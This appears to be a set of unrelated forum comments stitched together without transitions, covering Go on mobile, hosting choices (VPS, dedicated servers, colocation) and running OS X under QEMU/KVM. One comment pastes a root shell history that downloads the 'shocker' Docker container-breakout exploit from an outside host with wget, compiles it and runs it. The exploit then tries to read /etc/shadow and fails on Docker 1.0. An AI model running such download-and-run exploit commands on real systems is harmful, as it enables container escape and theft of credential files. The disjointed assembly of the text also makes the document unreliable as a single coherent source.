This is great news, good to see Google building a mobile + desktop interface with Go. Just like Apple did with Objective-C.

And yet with Go there is more use of it for CLI apps and web apps. Adding mobile to that equation just makes it even more complete.

Good job Google.

Confirmed not working in Docker 1.0:

  root@377a6f4ab0a4:/# history
  10  wget http://stealth.openwall.net/xSports/shocker.c  
  11  cc -Wall -std=c99 -O2 shocker.c -static
  12  apt-get install build-essential
  13  cc -Wall -std=c99 -O2 shocker.c -static
  14  cc -Wall -std=c99 -O2 shocker.c -static -Wno-unused-result
  15  ls
  16  ./shocker
  17  shocker
  18  nano a.out
  19  cat a.out
  20  ./a.out
  21  history
  root@377a6f4ab0a4:/# ./a.out
  [***] docker VMM-container breakout Po(C) 2014           
  [***]
  [***] The tea from the 90's kicks your sekurity again.     [***]
  [***] If you have pending sec consulting, I'll happily     [***]
  [***] forward to my friends who drink secury-tea too!      [***]
  <enter>
  [*] Resolving 'etc/shadow'
  [-] open_by_handle_at: Operation not permitted
  root@377a6f4ab0a4:/# uname -r
  3.14.1-tinycore64

Great, they announced that they'd be doing this a while back. Good to see them finally release it. Linode have always been good for stability, they might not be the cheapest but they have very few network issues and have damn good network speeds.

For VERY small use cases I would recommend a VPS, however because you're suggesting that you want a lot of storage then I would recommend at least a dedicated server but I would keep buying your own hardware in the back of your mind. I'll talk about this below.

VPS: If you're suggesting hosting a few websites and a small amount of email then a VPS is fine. Prometeus is my favourite for reliability and price. However bare in mind that with a VPS you're host can look into your files whenever they like (mounting the image/device if Xen/KVM) and just entering your container if it's OpenVZ. So for sensitive data I don't recommend a VPS. Also you may be put under restrictions if you max out your CPU and memory usage for long periods of time.

Dedicated Server: This is good for large storage and if you want unrestricted CPU and memory usage. You can obviously virtualize your own servers onto this and you can also run Windows and Linux (+ OS X). This has all the benefits of having your own physical box/colocation plus you get free hardware replacements.

Own hardware: If you're happy with just relying on your network connection then you can host it at home with a small quarter rack and just put a rack mount server in there. There are some benefits with this. If you're just torrenting, hosting email and a light web server or even just for testing you can get an old server off eBay or craigslist for next-to-nothing and you have the benefits of owning the hardware and putting in as many HDDs as you like. If you're coloing then you also get a very good network connection and reliable uptime, and a public-facing IP address. Oh and having your own physical hardware is cool, and colocation is even more cool and fun to do!

I don't have any experience with colocation, but it's incredibly interesting to me. I actually love the idea of having my own hardware. I actually was searching for storage units that had network drops (couldn't find any). The noir lover in me gets off on the idea of a 5x5 storage unit with just a small 4U cabinet against the back wall.

How does one get started with colocation?

It's as simple as doing a search for 'data center near X'. Call up their sales office, and ask them how much per month for ping, power, and cooling. You may also be able to find VARs that lease out racks 1 or 2U at a time for cheap as well. Shop around, there's HUGE variance in pricing in this space. It also couldn't hurt to let the salesdroids know you're shopping for best price as well. I doubt there's a ton of wiggle room for a handful of U, but if you're talking a half rack or more they're generally willing to begrudgingly work with you on price.

As long as it is Apple hardware, as defined by[1], then it can be run, virtualized or not. KVM runs on an OS X host and therefore this is totally acceptable.

[1]: http://kb.vmware.com/selfservice/microsites/search.do?langua...

I was aware of this when posting. I am very thankful for that information and everyone who contributed to KVM, KVM-KMOD and QEMU repositories. I have moved the credit to the top of article.

This was more as a reference and a quick guide (also because I couldn't achieve Mavericks via his research and therefore I have added it here).

Thanks anyway.

What graphics card does Mac OS X think it's using when running in QEMU/KVM as you describe? Are you able to get different (more than 1200x800) resolutions? One of the major shortcomings of most of the "Mac OS X in a guest" efforts is that 3D hardware acceleration is disabled (unimplemented) in the guest video driver, which the Quartz compositing engine assumes will always be there. This results in weird video behavior, like certain things not showing up or for FLV video to not render in a web browser. Are you able to view web video with this Mac guest?

When OSX can't pick a GFX driver (or you forced safe mode) it usually falls back to a generic VESA driver, along with a software OpenGL implementation (hence why GUI effects still work but some apps such as Pixelmator crash), which I suppose is not entirely unlike LLVMpipe. With a non-crap CPU it's even quite usable.

The 3D hardware acceleration is not present. The purpose of this exercise was to have virtualized Xcode build slaves.

If that's what you're trying to do, you might want to explore cross compiling Mac apps on Linux:

http://stackoverflow.com/questions/2786240/how-to-compile-in...

See also Mozilla Bug 921040 - Cross-compile Firefox for Mac on Linux. https://bugzilla.mozilla.org/show_bug.cgi?id=921040